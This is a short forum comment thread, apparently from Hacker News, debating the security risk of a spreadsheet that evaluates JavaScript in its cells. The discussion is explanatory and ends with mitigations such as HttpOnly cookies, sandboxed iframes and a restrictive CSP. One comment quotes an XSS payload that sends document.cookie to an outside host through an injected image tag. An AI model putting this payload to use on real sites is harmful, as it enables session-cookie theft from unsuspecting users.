5 ms·
You may like, but it is an obvious security flaw. A 'real' product couldn't have this feature, at least not the way it is implemented here.
by nmat 13y ago
You may like, but it is an obvious security flaw. A 'real' product couldn't have this feature, at least not the way it is implemented here.
- genericacct 13y agoPlease elaborate. ( i ask because i am writing a spreadsheet where every cell can be JSON or a JS expression ) What sort of vulnerabilities does this expose, besides letting the user shoot their feet repeatedly? Cross site scripting?
- araskoktas 13y agodocument.write('<img src="somedomain.com/?'+document.cookie);
- genericacct 13y agohave you heard of the HttpOnly attribute for cookies?
- araskoktas 13y agogood, send HttpOnly cookies and solve that problem. window.location.href='http://www.redt*be.com'; http://www.redt*be.com'; -- if you think evaluating JS code, as-is passed by the client is a good idea go ahead.
- genericacct 13y agoI most definitely will. and if my users want to browse your favorite porn site i don't see why i shouldn't let them..
- cosarara97 13y agoBut you'd need to send a spreadsheet with that to the victim.
- araskoktas 13y agoWell yes, the idea is the sheet being open to a group of people for collaboration or whatever reason.
- ubersoldat2k7 13y agoYeah! Better replace it with VB and you've got no security probl... oh wait!
- just2n 13y agoPut it in a sandboxed iframe, serve it from a separate domain, and use a very restrictive CSP?